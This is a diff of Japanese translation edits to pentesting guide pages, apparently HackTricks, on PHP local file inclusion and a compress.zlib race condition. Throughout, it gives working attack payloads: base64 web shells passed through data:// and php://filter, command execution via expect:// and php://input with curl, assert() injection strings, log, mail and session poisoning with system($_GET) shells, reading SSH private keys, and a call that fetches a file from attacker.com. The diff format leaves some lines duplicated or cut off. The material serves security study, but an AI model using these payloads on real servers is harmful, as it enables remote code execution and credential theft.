試行錯誤を通じて、`../`シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な数を見つけることができます。これにより、追加された文字列(例`.php`)が中立化されますが、目的のパス(`/etc/passwd`)はそのまま維持されます。 試行錯誤を通じて、`../`シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な数を見つけることができます。これにより、追加された文字列(例: `.php`)が中立化され、しかし望ましいパス(`/etc/passwd`)が維持されます。
- **架空のディレクトリから始める**: - **のディレクトリから始める**:
存在しないディレクトリ(例`a/`)でパスを開始するのは一般的な方法です。このテクニックは、予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。 存在しないディレクトリ(例: `a/`)でパスを開始するのは一般的な方法です。このテクニックは、予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。
パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要となる場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要となります。 パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要となる場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要す。
**この脆弱性はPHP 5.3で修正されました。** **この脆弱性はPHP 5.3で修正されました。**
@ -190,7 +190,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %} {% endcode %}
{% hint style="info" %} {% hint style="info" %}
前のコードでは、最後の `+.txt` が追加された理由は、攻撃者が `.txt` で終わる文字列が必要だったためです。そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミを返し、実際のPHPコードが含まれしたがって、実行されます のコードでは、最後の `+.txt` が追加された理由は、攻撃者が `.txt` で終わる文字列が必要だったためです。そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミとなり、実際のPHPコードが含まれしたがって、実行されます
{% endhint %} {% endhint %}
`php://` プロトコルを使用しない別の例は次のとおりです: `php://` プロトコルを使用しない別の例は次のとおりです:
@ -219,11 +219,11 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
## Java ディレクトリのリスト ## Java ディレクトリのリスト
Java におけるパストラバーサルがある場合、**ファイルではなくディレクトリを要求**すると、**ディレクトリのリストが返される**ようです。これは他の言語では起こらないようです(私の知る限り)。 Java パストラバーサルがある場合、**ファイルではなくディレクトリを要求**すると、**ディレクトリのリストが返される**ようです。これは他の言語では起こらないでしょう(私の知る限り)。
## トップ25のパラメータ ## トップ25のパラメータ
以下は、ローカルファイルインクルージョンLFI脆弱性に対して脆弱性のある可能性のあるトップ25のパラメータのリストです[リンク](https://twitter.com/trbughunters/status/1279768631845494787)から): 以下は、ローカルファイルインクルージョンLFI脆弱性に対して脆弱ある可能性のあるトップ25のパラメータのリストです[リンク](https://twitter.com/trbughunters/status/1279768631845494787)から取得:
``` ```
?cat={payload} ?cat={payload}
?dir={payload} ?dir={payload}
@ -255,20 +255,20 @@ Java におけるパストラバーサルがある場合、**ファイルでは
### php://filter ### php://filter
PHPフィルターを使用すると、データが読み取られる前または書き込まれる前に基本的な**変更操作**を実行できます。フィルターには5つのカテゴリがあります PHPフィルターを使用すると、データを読み取る前または書き込む前に基本的な**変更操作**を実行できます。フィルターには5つのカテゴリがあります:
* [文字列フィルター](https://www.php.net/manual/en/filters.string.php): * [文字列フィルター](https://www.php.net/manual/en/filters.string.php):
* `string.rot13` * `string.rot13`
* `string.toupper` * `string.toupper`
* `string.tolower` * `string.tolower`
* `string.strip_tags`: データからタグを削除します("<"と">"の文字の間のすべて) * `string.strip_tags`: データからタグを削除します("<"と">"の間のすべて)
* このフィルターは、現代のPHPのバージョンから消えています * このフィルターは、現代のPHPのバージョンから消えています
* [変換フィルター](https://www.php.net/manual/en/filters.convert.php) * [変換フィルター](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode` * `convert.base64-encode`
* `convert.base64-decode` * `convert.base64-decode`
* `convert.quoted-printable-encode` * `convert.quoted-printable-encode`
* `convert.quoted-printable-decode` * `convert.quoted-printable-decode`
* `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで次のコマンドを実行します`iconv -l` * `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで次のコマンドを実行します: `iconv -l`
{% hint style="warning" %} {% hint style="warning" %}
`convert.iconv.*`変換フィルターを悪用すると、**任意のテキストを生成**することができ、任意のテキストを書き込んだり、関数を作成したりするのに役立ちます。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を確認してください。 `convert.iconv.*`変換フィルターを悪用すると、**任意のテキストを生成**することができ、任意のテキストを書き込んだり、関数を作成したりするのに役立ちます。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を確認してください。
@ -281,7 +281,7 @@ PHPフィルターを使用すると、データが読み取られる前また
* `mcrypt.*` : 廃止予定 * `mcrypt.*` : 廃止予定
* `mdecrypt.*` : 廃止予定 * `mdecrypt.*` : 廃止予定
* その他のフィルター * その他のフィルター
* phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**を見つけることができます: * phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**が見つかります:
* `consumed` * `consumed`
* `dechunk`: HTTPチャンクエンコーディングを逆にします * `dechunk`: HTTPチャンクエンコーディングを逆にします
* `convert.*` * `convert.*`
@ -317,7 +317,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### php://fd ### php://fd
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスできるようにします。開かれたファイルの内容を持ち出すのに役立つ可能性があります このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を持ち出すのに役立つかもしれません
```php ```php
echo file_get_contents("php://fd/3"); echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r"); $myfile = fopen("/etc/passwd", "r");
@ -354,24 +354,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
このプロトコルは、phpの設定によって制限されています **`allow_url_open`** **`allow_url_include`** このプロトコルは、phpの設定**`allow_url_open`**と**`allow_url_include`**によって制限されています。
### expect:// ### expect://
Expectを有効にする必要があります。これを使用してコードを実行できます: Expectを有効にする必要があります。次のようにしてコードを実行できます:
``` ```
http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls http://example.com/index.php?page=expect://ls
``` ```
### input:// ### input://
POSTパラメーターにペイロードを指定してください POSTパラメーターにペイロードを指定します
```bash ```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>" curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
``` ```
### phar:// ### phar://
`.phar`ファイルは、Webアプリケーションがファイルの読み込みに`include`などの関数を利用する場合に、PHPコードを実行するために用できます。以下に示すPHPコードスニペットは、`.phar`ファイルの作成を示しています: `.phar`ファイルは、Webアプリケーションがファイルの読み込みに`include`などの関数を利用する場合に、PHPコードを実行するために使用できます。以下に示すPHPコードスニペットは、`.phar`ファイルの作成を示しています:
```php ```php
<?php <?php
$phar = new Phar('test.phar'); $phar = new Phar('test.phar');
@ -386,7 +386,7 @@ php --define phar.readonly=0 create_path.php
``` ```
実行すると、`test.phar`というファイルが作成され、ローカルファイルインクルージョンLFI脆弱性を悪用する可能性があります。 実行すると、`test.phar`というファイルが作成され、ローカルファイルインクルージョンLFI脆弱性を悪用する可能性があります。
LFIがPHPコードの実行なしにファイル読み取りのみを行う場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。 LFIがPHPコードの実行なしにファイル読み取りのみを行う場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
`.phar`ファイルのコンテキストで逆シリアル化脆弱性を悪用する詳細については、以下のドキュメントを参照してください: `.phar`ファイルのコンテキストで逆シリアル化脆弱性を悪用する詳細については、以下のドキュメントを参照してください:
@ -398,7 +398,7 @@ LFIがPHPコードの実行なしにファイルの読み取りのみを行う
### その他のプロトコル ### その他のプロトコル
ここに[ **追加する可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**をチェックしてください** ここに[ **含める可能性のあるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください:
* [php://memory および php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリ内または一時ファイルに書き込み(ファイルインクルージョン攻撃でどのように有用かは不明) * [php://memory および php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリ内または一時ファイルに書き込み(ファイルインクルージョン攻撃でどのように有用かは不明)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス * [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
@ -411,21 +411,21 @@ LFIがPHPコードの実行なしにファイルの読み取りのみを行う
## PHPの 'assert' を介したLFI ## PHPの 'assert' を介したLFI
PHPにおけるローカルファイルインクルージョンLFIリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。 PHPにおけるローカルファイルインクルージョンLFIリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高いです。これは、ディレクトリトラバーサル文字("..")を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。
たとえば、PHPコードがディレクトリトラバーサルを防ぐように設計されている場合、次のようになります たとえば、PHPコードがディレクトリトラバーサルを防ぐように設計されている場合、次のようになります
```bash ```bash
assert("strpos('$file', '..') === false") or die(""); assert("strpos('$file', '..') === false") or die("");
``` ```
以下はトラバーサルを防ぐことを目的としていますが、結果的にコードインジェクションのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます: これはトラバーサルを防ぐことを目的としていますが、偶然にもコードインジェクションのためのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます:
```plaintext ```plaintext
' and die(highlight_file('/etc/passwd')) or ' ' and die(highlight_file('/etc/passwd')) or '
``` ```
同様に、任意のシステムコマンドを実行するためには、次のように使用することがあります: 同様に、任意のシステムコマンドを実行するためには、次のように使用することができます:
```plaintext ```plaintext
' and die(system("id")) or ' ' and die(system("id")) or '
``` ```
重要なのは、これらのペイロードを**URLエンコードする**ことです。 重要なのは、これらの**ペイロードをURLエンコードする**ことです。
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -450,11 +450,11 @@ assert("strpos('$file', '..') === false") or die("");
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) では、PHPフィルタを介して**エラーオラクルを介してファイルの内容を外部に流出**させる方法が説明されています。 [**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) では、PHPフィルタを介して**エラーオラクルを介してファイルの内容を外部に流出**させる方法が説明されています。
要約すると、このテクニックは、ファイルの内容を**大きく**するために**"UCS-4LE"エンコーディング**を使用し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。 要約すると、このテクニックは、ファイルの内容を**大きく**するために**"UCS-4LE"エンコーディング**を使用し、ファイルを開く**PHP関数**が**エラー**をトリガーするようにします。
その後、最初の文字を漏洩させるために、フィルタ **`dechunk`** が使用され、他のフィルタ(**base64** や **rot13** など)と最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE** が使用され、他の文字を**先頭に配置して漏洩**されます。 その後、最初の文字を漏洩させるために、フィルタ **`dechunk`** が使用され、他のフィルタ(**base64** や **rot13** など)と最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE** が使用され、他の文字を**先頭に配置して漏洩**されます。
**脆弱性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これだけを読み取るように対象化)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` **脆弱性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これだけを読み取るターゲット)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
技術的な詳細については、言及された投稿をチェックしてください! 技術的な詳細については、言及された投稿をチェックしてください!
@ -466,15 +466,15 @@ assert("strpos('$file', '..') === false") or die("");
### Apache/Nginxログファイル経由 ### Apache/Nginxログファイル経由
ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`** にアクセスを試み、**ユーザーエージェント**内または**GETパラメータ**内に **`<?php system($_GET['c']); ?>`** のようなPHPシェルを設定し、そのファイルをインクルードできます ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード機能内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`** にアクセスを試みることができます。**ユーザーエージェント**または**GETパラメータ**内に **`<?php system($_GET['c']); ?>`** のようなPHPシェルを設定し、そのファイルをインクルードます
{% hint style="warning" %} {% hint style="warning" %}
シェルに**単一引用符**ではなく**二重引用符**を使用すると、二重引用符が文字列 "_**quote;**_" に変更され、**PHPはそこでエラーをスロー**し、**それ以外のことは実行されません**。 シェルに**単一引用符**ではなく**二重引用符**を使用すると、二重引用符が文字列 "_**quote;**_" に変更され、**PHPはそこでエラーをスロー**し、**それ以外の何も実行されません**。
また、ペイロードを**正しく記述**することを確認してください。そうしないと、ログファイルをロードしようとするたびにPHPがエラーをスローし、2回目の機会が得られません また、ペイロードを**正しく記述**することを確認してください。そうしないと、ログファイルを読み込むたびにPHPがエラーをスローし、2回目の機会が得られなくなります
{% endhint %} {% endhint %}
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これシェルを破壊する可能性があります。ヘッダー **authorisation "basic"** にはBase64で "user:password" が含まれ、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入される可能性があります。\ これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これシェルを破壊する可能性があります。ヘッダー **authorisation "basic"** には Base64 で "user:password" が含まれ、ログ内でデコードされます。PHPShell をこのヘッダー内に挿入することができます。\
他の可能なログパス: 他の可能なログパス:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
@ -487,35 +487,35 @@ ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インク
/var/log/nginx/error.log /var/log/nginx/error.log
/var/log/httpd/error_log /var/log/httpd/error_log
``` ```
Fuzzingワードリスト: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) ### ファジングワードリスト: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### メール経由 ### メール経由
内部アカウントuser@localhostにPHPペイロード例:`<?php echo system($_REQUEST["cmd"]); ?>`)を含むメールを送信し、ユーザーのメールに **`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスを含めてみてください。 **内部アカウント**user@localhostにPHPペイロード`<?php echo system($_REQUEST["cmd"]); ?>`のような)を含むメールを送信し、**`/var/mail/<USERNAME>`**や**`/var/spool/mail/<USERNAME>`**のようなパスでユーザーのメールに含めてみてください。
### /proc/\*/fd/\* 経由 ### /proc/\*/fd/\* 経由
1. シェルをたくさんアップロードします100個 1. 多数のシェルをアップロードします100個
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで、$PIDはプロセスのPIDブルートフォース可能であり、$FDはファイルディスクリプタこれもブルートフォース可能)です。 2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)をインクルードします。ここで、$PIDはプロセスのPIDブルートフォースできますであり、$FDはファイルディスクリプタこれもブルートフォースできます)です。
### /proc/self/environ 経由 ### /proc/self/environ 経由
ログファイルのように、User-Agentにペイロードを送信すると、/proc/self/environファイル内に反映されます。 ログファイルのように、ペイロードをUser-Agentで送信すると、/proc/self/environファイル内に反映されます。
``` ```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?> User-Agent: <?=phpinfo(); ?>
``` ```
### アップロード経由 ### アップロード経由
ファイルをアップロードできる場合は、シェルペイロードをそのファイルにインジェクトしてください(例: `<?php system($_GET['c']); ?>` )。 ファイルをアップロードできる場合は、シェルペイロードをその中にインジェクトしてください(例:`<?php system($_GET['c']); ?>`)。
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
ファイルを読みやすく保つために、画像/ドキュメント/PDFのメタデータにインジェクトするのが最適です ファイルを読みやすく保つために、画像/ドキュメント/PDFのメタデータにインジェクトするのが最適です
### Zipファイルをアップロードする方法 ### Zipファイルをアップロードする方法
PHPシェルを含むZIPファイルをアップロードし、アクセスします PHPシェルが圧縮されたZIPファイルをアップロードしてアクセスします:
```python ```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
``` ```
@ -539,20 +539,20 @@ LFIを使用してPHPセッションファイルをインクルードします
``` ```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
``` ```
### SSHを介して ### SSH経由
SSHがアクティブである場合は、使用されているユーザーを確認します(/proc/self/statusおよび/etc/passwdし、**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。 sshがアクティブである場合は、使用されているユーザーを確認します(/proc/self/status/etc/passwdそして**\<HOME>/.ssh/id\_rsa**にアクセスを試みます。
### **vsftpd** _ログ_を介して ### **vsftpd** _ログ_経由
FTPサーバーvsftpdのログは**_/var/log/vsftpd.log_**にあります。ローカルファイルインクルージョンLFI脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順を検討できます: FTPサーバーvsftpdのログは**_/var/log/vsftpd.log_**にあります。ローカルファイルインクルージョンLFI脆弱性が存在し、公開されたvsftpdサーバーへのアクセスが可能な場合、次の手順が考慮されます:
1. ログインプロセス中にユーザー名フィールドにPHPペイロードをインジェクトします。 1. ログインプロセス中にユーザー名フィールドにPHPペイロードをインジェクトします。
2. インジェクション後、LFIを使用して**_/var/log/vsftpd.log_**からサーバーログを取得します。 2. インジェクション後、LFIを使用して**_/var/log/vsftpd.log_**からサーバーログを取得します。
### PHPベース64フィルターを介してbase64を使用 ### PHPベース64フィルター経由base64を使用
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPベース64フィルターは非ベース64を無視します。これを使用してファイル拡張子のチェックをバイパスできますbase64を提供し、".php"で終わるものを供給すると、"."を無視して"php"をbase64に追加します。以下は例です [この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPベース64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできますbase64で終わる".php"を提供すると、"."を無視して"php"をbase64に追加します。以下は例のペイロードです:
```url ```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -560,7 +560,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
### phpフィルターを介してファイル不要 ### phpフィルターを介してファイル不要
この[**解説記事**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルターを使用して**任意のコンテンツを出力できることが説明されています。つまり、**ファイルに書き込む必要なしに**、インクルード用に**任意のphpコードを生成**できます。 この[**解説**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)では、**phpフィルターを使用して**任意のコンテンツを出力できることが説明されています。つまり、**ファイルに書き込む必要なしに**、インクルード用に**任意のphpコードを生成**できます。
{% content-ref url="lfi2rce-via-php-filters.md" %} {% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md) [lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
@ -624,10 +624,10 @@ LFIを悪用して**一時ファイルをアップロード**し、サーバー
### 致命的エラーへ ### 致命的エラーへ
`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかをインクルードすると、**PHP致命的エラー**が発生します同じものを2回インクルードする必要があります `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかをインクルードすると、PHP致命的エラーが発生します同じものを2回インクルードする必要があります
**これがどのように有用かはわかりませんが、かもしれません。**\ **これがどのように有用かはわかりませんが、有用かもしれません。**\
_PHP致命的エラーを引き起こしても、PHPアップロードされた一時ファイルは削除されます。_ _PHP致命的エラーを引き起こしても、PHPによってアップロードされた一時ファイルは削除されます。_
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
@ -646,7 +646,7 @@ _PHP致命的エラーを引き起こしても、PHPでアップロードされ
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態に保ちましょう リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう
**最新のアナウンスメント**\ **最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう

View file

@ -1,31 +1,29 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
## `compress.zlib://`と`PHP_STREAM_PREFER_STDIO` ## `compress.zlib://` および `PHP_STREAM_PREFER_STDIO`
フラグ`PHP_STREAM_PREFER_STDIO`を使用してプロトコル`compress.zlib://`で開かれたファイルは、後から接続に到着するデータを同じファイルに書き込み続けることができます。 フラグ `PHP_STREAM_PREFER_STDIO` を使用してプロトコル `compress.zlib://` で開かれたファイルは、後から接続に到着するデータを同じファイルに書き込み続けることができます。
これは、次のような呼び出しを意味します: これは、次のような呼び出しを意味します:
```php ```php
file_get_contents("compress.zlib://http://attacker.com/file") file_get_contents("compress.zlib://http://attacker.com/file")
``` ```
次に、http://attacker.com/file へのリクエストを送信します。その後、サーバーは有効なHTTPレスポンスで応答し、接続を開いたままにし、後で追加のデータを送信します。この追加のデータは、ファイルにも書き込まれます。 以下のようにhttp://attacker.com/fileをリクエストするリクエストを送信し、サーバーは有効なHTTPレスポンスでリクエストに応答し、接続を開いたままにしておき、後で追加のデータを送信し、それがファイルに書き込まれる可能性があります。
この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます。 あなたは、php-srcコードのmain/streams/cast.cのこの部分でその情報を見ることができます。
```c ```c
/* Use a tmpfile and copy the old streams contents into it */ /* Use a tmpfile and copy the old streams contents into it */
@ -35,33 +33,16 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_temp_new(); *newstream = php_stream_temp_new();
} }
``` ```
## RCEへの競合状態 ## RCEへのRace Condition
[**このCTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)は前のトリックを使用して解決されました。 [**このCTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) は前のトリックを使用して解決されました。
攻撃者は、**`compress.zlib`**プロトコルを使用して、**被害者サーバーが攻撃者のサーバーからファイルを読み込む接続を開く**ようにします 攻撃者は、**`compress.zlib`** プロトコルを使用して、**被害者サーバーに攻撃者のサーバーからファイルを読み取るようにさせます**
この**接続**が存在する間、攻撃者は作成された一時ファイルへのパスを**漏洩**します(サーバーによって漏洩されます) この**接続が存在する間**、攻撃者は、サーバーによって**漏洩された一時ファイルのパスを外部に送信**します
**接続**がまだ開いている間、攻撃者は自分が制御する一時ファイルを**ロードするLFIを悪用**します。 **接続がまだ開いている間**、攻撃者は、自分が制御している一時ファイルを**ロードするLFIを悪用**します。
ただし、Webサーバーには、`<?`を含むファイルをロードすることを**防ぐチェック**があります。したがって、攻撃者は**競合状態**を悪用します。まだ開いている接続で、**攻撃者**は、Webサーバーが禁止文字を含むかどうかを**チェック**した**後**で**PHPペイロードを送信**しますが、**コンテンツをロードする前に**送信します。 ただし、Webサーバーには、`<?` を含むファイルをロードすることを**防ぐチェック**があります。そのため、攻撃者は**Race Condition**を悪用します。まだ開いている接続で、**攻撃者**は、Webサーバーが**ファイルに禁止された文字が含まれているかを確認**した後に**PHPペイロードを送信**しますが、**その内容をロードする前**に送信します。
詳細については、競合状態とCTFの説明を[https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)で確認してください。 詳細については、Race ConditionとCTFの説明を[こちら](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)で確認してください。
<details>
